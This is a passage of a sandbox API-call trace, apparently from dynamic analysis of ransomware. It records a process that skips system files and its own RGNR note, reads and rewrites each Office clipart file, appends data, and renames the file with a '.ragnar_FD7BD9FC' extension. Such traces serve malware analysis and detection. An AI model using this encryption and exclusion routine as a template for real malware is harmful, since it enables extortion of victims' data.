(pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned=".JPG" [0083.088] lstrcmpiW (lpString1="J0099155.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.088] lstrcmpiW (lpString1="J0099155.JPG", lpString2="autorun.inf") returned 1 [0083.088] lstrcmpiW (lpString1="J0099155.JPG", lpString2="boot.ini") returned 1 [0083.088] lstrcmpiW (lpString1="J0099155.JPG", lpString2="bootfont.bin") returned 1 [0083.089] lstrcmpiW (lpString1="J0099155.JPG", lpString2="bootsect.bak") returned 1 [0083.089] lstrcmpiW (lpString1="J0099155.JPG", lpString2="bootmgr") returned 1 [0083.089] lstrcmpiW (lpString1="J0099155.JPG", lpString2="bootmgr.efi") returned 1 [0083.089] lstrcmpiW (lpString1="J0099155.JPG", lpString2="bootmgfw.efi") returned 1 [0083.089] lstrcmpiW (lpString1="J0099155.JPG", lpString2="desktop.ini") returned 1 [0083.089] lstrcmpiW (lpString1="J0099155.JPG", lpString2="iconcache.db") returned 1 [0083.089] lstrcmpiW (lpString1="J0099155.JPG", lpString2="ntldr") returned -1 [0083.089] lstrcmpiW (lpString1="J0099155.JPG", lpString2="ntuser.dat") returned -1 [0083.089] lstrcmpiW (lpString1="J0099155.JPG", lpString2="ntuser.dat.log") returned -1 [0083.089] lstrcmpiW (lpString1="J0099155.JPG", lpString2="ntuser.ini") returned -1 [0083.089] lstrcmpiW (lpString1="J0099155.JPG", lpString2="thumbs.db") returned -1 [0083.089] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0083.089] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0083.089] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0083.089] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0083.089] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0083.089] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0083.089] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0083.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg")) returned 0x20 [0083.089] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.089] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8826) returned 1 [0083.089] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2271, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.090] GetProcessHeap () returned 0x580000 [0083.090] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.090] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.091] VirtualAlloc (lpAddress=0x0, dwSize=0x227a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.091] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.091] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.091] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x227a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x227a, lpOverlapped=0x0) returned 1 [0083.092] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.092] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x227a, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.092] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x227a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x227a, lpOverlapped=0x0) returned 1 [0083.093] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x227a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.093] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.093] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x227a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.093] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.093] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.093] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.093] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.093] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.093] GetProcessHeap () returned 0x580000 [0083.093] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.093] CloseHandle (hObject=0xf4) returned 1 [0083.093] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" [0083.093] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.ragnar_FD7BD9FC" [0083.093] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.094] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3682, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099156.JPG", cAlternateFileName="")) returned 1 [0083.094] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.094] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099156.JPG" | out: lpString1="J0099156.JPG") returned="J0099156.JPG" [0083.094] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned=".JPG" [0083.094] lstrcmpiW (lpString1="J0099156.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.094] lstrcmpiW (lpString1="J0099156.JPG", lpString2="autorun.inf") returned 1 [0083.094] lstrcmpiW (lpString1="J0099156.JPG", lpString2="boot.ini") returned 1 [0083.094] lstrcmpiW (lpString1="J0099156.JPG", lpString2="bootfont.bin") returned 1 [0083.094] lstrcmpiW (lpString1="J0099156.JPG", lpString2="bootsect.bak") returned 1 [0083.094] lstrcmpiW (lpString1="J0099156.JPG", lpString2="bootmgr") returned 1 [0083.094] lstrcmpiW (lpString1="J0099156.JPG", lpString2="bootmgr.efi") returned 1 [0083.094] lstrcmpiW (lpString1="J0099156.JPG", lpString2="bootmgfw.efi") returned 1 [0083.094] lstrcmpiW (lpString1="J0099156.JPG", lpString2="desktop.ini") returned 1 [0083.094] lstrcmpiW (lpString1="J0099156.JPG", lpString2="iconcache.db") returned 1 [0083.094] lstrcmpiW (lpString1="J0099156.JPG", lpString2="ntldr") returned -1 [0083.094] lstrcmpiW (lpString1="J0099156.JPG", lpString2="ntuser.dat") returned -1 [0083.094] lstrcmpiW (lpString1="J0099156.JPG", lpString2="ntuser.dat.log") returned -1 [0083.094] lstrcmpiW (lpString1="J0099156.JPG", lpString2="ntuser.ini") returned -1 [0083.094] lstrcmpiW (lpString1="J0099156.JPG", lpString2="thumbs.db") returned -1 [0083.095] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0083.095] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0083.095] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0083.095] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0083.095] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0083.095] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0083.095] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0083.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg")) returned 0x20 [0083.095] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.095] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13954) returned 1 [0083.095] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3679, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.095] GetProcessHeap () returned 0x580000 [0083.095] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.095] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.097] VirtualAlloc (lpAddress=0x0, dwSize=0x3682, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.097] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.097] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.097] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3682, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3682, lpOverlapped=0x0) returned 1 [0083.098] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.098] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3682, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.098] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3682, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3682, lpOverlapped=0x0) returned 1 [0083.098] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3682, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.098] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.099] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3682, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.099] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.099] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.099] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.099] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.099] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.099] GetProcessHeap () returned 0x580000 [0083.099] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.099] CloseHandle (hObject=0xf4) returned 1 [0083.099] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" [0083.099] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.ragnar_FD7BD9FC" [0083.099] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.100] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x25c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099157.JPG", cAlternateFileName="")) returned 1 [0083.100] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.100] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099157.JPG" | out: lpString1="J0099157.JPG") returned="J0099157.JPG" [0083.100] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned=".JPG" [0083.100] lstrcmpiW (lpString1="J0099157.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.100] lstrcmpiW (lpString1="J0099157.JPG", lpString2="autorun.inf") returned 1 [0083.100] lstrcmpiW (lpString1="J0099157.JPG", lpString2="boot.ini") returned 1 [0083.100] lstrcmpiW (lpString1="J0099157.JPG", lpString2="bootfont.bin") returned 1 [0083.100] lstrcmpiW (lpString1="J0099157.JPG", lpString2="bootsect.bak") returned 1 [0083.100] lstrcmpiW (lpString1="J0099157.JPG", lpString2="bootmgr") returned 1 [0083.100] lstrcmpiW (lpString1="J0099157.JPG", lpString2="bootmgr.efi") returned 1 [0083.100] lstrcmpiW (lpString1="J0099157.JPG", lpString2="bootmgfw.efi") returned 1 [0083.100] lstrcmpiW (lpString1="J0099157.JPG", lpString2="desktop.ini") returned 1 [0083.100] lstrcmpiW (lpString1="J0099157.JPG", lpString2="iconcache.db") returned 1 [0083.100] lstrcmpiW (lpString1="J0099157.JPG", lpString2="ntldr") returned -1 [0083.100] lstrcmpiW (lpString1="J0099157.JPG", lpString2="ntuser.dat") returned -1 [0083.100] lstrcmpiW (lpString1="J0099157.JPG", lpString2="ntuser.dat.log") returned -1 [0083.100] lstrcmpiW (lpString1="J0099157.JPG", lpString2="ntuser.ini") returned -1 [0083.100] lstrcmpiW (lpString1="J0099157.JPG", lpString2="thumbs.db") returned -1 [0083.100] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0083.100] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0083.100] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0083.100] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0083.100] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0083.100] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0083.100] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0083.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg")) returned 0x20 [0083.101] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.101] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9671) returned 1 [0083.101] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x25be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.101] GetProcessHeap () returned 0x580000 [0083.101] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.101] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.102] VirtualAlloc (lpAddress=0x0, dwSize=0x25c7, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.103] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.103] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.103] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x25c7, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x25c7, lpOverlapped=0x0) returned 1 [0083.104] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.104] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x25c7, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.104] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x25c7, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x25c7, lpOverlapped=0x0) returned 1 [0083.104] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x25c7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.104] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.104] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x25c7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.104] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.104] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.104] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.104] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.104] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.104] GetProcessHeap () returned 0x580000 [0083.105] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.105] CloseHandle (hObject=0xf4) returned 1 [0083.105] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" [0083.105] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.ragnar_FD7BD9FC" [0083.105] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.105] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x6630, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099158.WMF", cAlternateFileName="")) returned 1 [0083.105] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.105] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099158.WMF" | out: lpString1="J0099158.WMF") returned="J0099158.WMF" [0083.105] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned=".WMF" [0083.105] lstrcmpiW (lpString1="J0099158.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.105] lstrcmpiW (lpString1="J0099158.WMF", lpString2="autorun.inf") returned 1 [0083.105] lstrcmpiW (lpString1="J0099158.WMF", lpString2="boot.ini") returned 1 [0083.105] lstrcmpiW (lpString1="J0099158.WMF", lpString2="bootfont.bin") returned 1 [0083.105] lstrcmpiW (lpString1="J0099158.WMF", lpString2="bootsect.bak") returned 1 [0083.105] lstrcmpiW (lpString1="J0099158.WMF", lpString2="bootmgr") returned 1 [0083.105] lstrcmpiW (lpString1="J0099158.WMF", lpString2="bootmgr.efi") returned 1 [0083.106] lstrcmpiW (lpString1="J0099158.WMF", lpString2="bootmgfw.efi") returned 1 [0083.106] lstrcmpiW (lpString1="J0099158.WMF", lpString2="desktop.ini") returned 1 [0083.106] lstrcmpiW (lpString1="J0099158.WMF", lpString2="iconcache.db") returned 1 [0083.106] lstrcmpiW (lpString1="J0099158.WMF", lpString2="ntldr") returned -1 [0083.106] lstrcmpiW 